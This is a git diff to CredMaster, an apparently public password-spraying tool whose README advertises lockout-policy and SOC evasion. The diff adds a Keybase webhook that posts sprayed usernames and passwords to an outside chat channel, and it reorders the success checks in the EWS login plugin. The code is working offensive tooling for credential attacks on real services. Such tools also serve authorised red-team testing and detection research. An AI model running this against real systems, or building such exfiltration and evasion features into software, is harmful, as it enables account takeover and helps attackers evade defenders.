diff --git a/README.md b/README.md index 8b7a5f8..a263344 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ For detection tips, see the blogpost and detection section. * Password delay counters & configuration for lockout policy evasion * Easily add new plugins * Colourised output -* Notification systems for Slack, Discord, Teams & Pushover +* Notification systems for Keybase, Slack, Discord, Teams & Pushover * [WeekdayWarrior](https://github.com/knavesec/CredMaster/wiki/Weekday-Warrior) setting for timed spraying and SOC evasion ![general](https://raw.githubusercontent.com/whynotsecurity/whynotsecurity.github.io/master/assests/images/credmaster-screenshots/credmaster-default.png) @@ -109,7 +109,7 @@ PRs welcome :) - Max Gruenberg ([Max_Gruenberg](https://twitter.com/Max_Gruenberg)) - o365enum plugin - [x0rz](https://twitter.com/x0rz) - GmailEnum technique - Kole Swesey ([0xPanic_](https://twitter.com/0xPanic_)) - Assorted PR -- Logan ([TheToddLuci0](https://twitter.com/TheToddLuci0)) - Assorted PRs +- Logan ([TheToddLuci0](https://twitter.com/TheToddLuci0)) - Assorted bug squashing, AWS authing, and Keybase notifying - Andy Gill ([ZephrFish](https://twitter.com/ZephrFish)) - Colour functions + Tweaks/Notifications, helping on dev rewrite, AzVault module diff --git a/credmaster.py b/credmaster.py index c45209f..ca9cb75 100755 --- a/credmaster.py +++ b/credmaster.py @@ -104,6 +104,7 @@ def parse_all_args(self, args): "pushover_token" : args.pushover_token or config_dict.get("pushover_token"), "pushover_user" : args.pushover_user or config_dict.get("pushover_user"), "discord_webhook" : args.discord_webhook or config_dict.get("discord_webhook"), + "keybase_webhook" : args.keybase_webhook or config_dict.get("keybase_webhook"), "teams_webhook" : args.teams_webhook or config_dict.get("teams_webhook"), "operator_id" : args.operator_id or config_dict.get("operator_id"), "exclude_password" : args.exclude_password or config_dict.get("exclude_password") @@ -232,7 +233,7 @@ def Execute(self, args): try: # Create lambdas based on thread count - self.load_apis(url) + self.load_apis(url, region = self.region) # do test connection / fingerprint useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" @@ -685,6 +686,7 @@ def log_success(self, username, password): notify_args.add_argument('--pushover_user', type=str, default=None, help='User for Pushover notifications') notify_args.add_argument('--discord_webhook', type=str, default=None, help='Webhook link for Discord notifications') notify_args.add_argument('--teams_webhook', type=str, default=None, help='Webhook link for Teams notifications') + notify_args.add_argument('--keybase_webhook', type=str, default=None, help='Webhook for Keybase notifications') notify_args.add_argument('--operator_id', type=str, default=None, help='Optional Operator ID for notifications') notify_args.add_argument('--exclude_password', default=False, action="store_true", help='Exclude discovered password in Notification message') diff --git a/example.config.json b/example.config.json index f1b7e9a..9905593 100644 --- a/example.config.json +++ b/example.config.json @@ -22,6 +22,7 @@ "pushover_user" : null, "discord_webhook" : null, "teams_webhook" : null, + "keybase_webhook": null, "operator_id" : null, "exclude_password" : false, diff --git a/plugins/ews/ews.py b/plugins/ews/ews.py index 8d3d387..e705fba 100644 --- a/plugins/ews/ews.py +++ b/plugins/ews/ews.py @@ -32,12 +32,7 @@ def ews_authenticate(url, username, password, useragent, pluginargs): resp = requests.post(f"{url}/ews/", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) - if resp.status_code != 401: - data_response['result'] = "success" - data_response['output'] = f"[+] SUCCESS: {username}:{password}" - data_response['valid_user'] = True - - elif resp.status_code == 500: + if resp.status_code == 500: data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 500: {username}:{password}" data_response['result'] = "potential" data_response['valid_user'] = True @@ -47,6 +42,11 @@ def ews_authenticate(url, username, password, useragent, pluginargs): data_response['result'] = "potential" data_response['valid_user'] = True + elif resp.status_code != 401: + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS: {username}:{password}" + data_response['valid_user'] = True + else: data_response['result'] = "failure" data_response['output'] = f"[-] FAILURE: {username}:{password}" diff --git a/utils/notify.py b/utils/notify.py index e0cfff3..b29c679 100644 --- a/utils/notify.py +++ b/utils/notify.py @@ -10,6 +10,7 @@ def notify_success(username, password, notify_obj): teams_webhook = notify_obj['teams_webhook'] pushover_token = notify_obj['pushover_token'] pushover_user = notify_obj['pushover_user'] + keybase_webhook = notify_obj['keybase_webhook'] operator = notify_obj['operator_id'] exclude_password = notify_obj['exclude_password'] @@ -25,6 +26,9 @@ def notify_success(username, password, notify_obj): if teams_webhook is not None: teams_notify(username, password, operator, exclude_password, teams_webhook) + if keybase_webhook is not None: + keybase_notify(username, password, operator, exclude_password, keybase_webhook) + def notify_update(message, notify_obj): @@ -33,6 +37,7 @@ def notify_update(message, notify_obj): teams_webhook = notify_obj['teams_webhook'] pushover_token = notify_obj['pushover_token'] pushover_user = notify_obj['pushover_user'] + keybase_webhook = notify_obj['keybase_webhook'] operator = notify_obj['operator_id'] if slack_webhook is not None: @@ -46,6 +51,68 @@ def notify_update(message, notify_obj): if teams_webhook is not None: teams_update(message, operator, teams_webhook) + + if keybase_webhook is not None: + keybase_update(message, operator, keybase_webhook) + + +# Function for posting username/password to keybase channel +def keybase_notify(username, password, operator, exclude_password, webhook): + + now = datetime.now() + date=now.strftime("%d-%m-%Y") + time=now.strftime("%H:%M:%S") + + op_insert = "" + if operator is not None: + op_insert = f"Operator: {operator}\n" + + pwd_insert = f"Pass: {password}\n" + if exclude_password: + pwd_insert = "" + + text = ("```[Valid Credentials Obtained!]\n" + f"{op_insert}" + f"User: {username}\n" + f"{pwd_insert}" + f"Date: {date}\n" + f"Time: {time}```") + + message = { + "msg" : text + } + + response = requests.post( + webhook, data=json.dumps(message), + headers={'Content-Type': 'application/json'} + ) + + +# Function for debug messages +def keybase_update(message, operator, webhook): + + now = datetime.now() + date=now.strftime("%d-%m-%Y") + time=now.strftime("%H:%M:%S") + + op_insert = "" + if operator is not None: + op_insert = f"Operator: {operator}\n" + + text = ("```[Log Entry]\n" + f"{op_insert}" + f"{message}\n" + f"Date: {date}\n" + f"Time: {time}```") + + message = { + "msg" : text + } + response = requests.post( + webhook, data=json.dumps(message), + headers={'Content-Type': 'application/json'} + ) + # Function for posting username/password to slack channel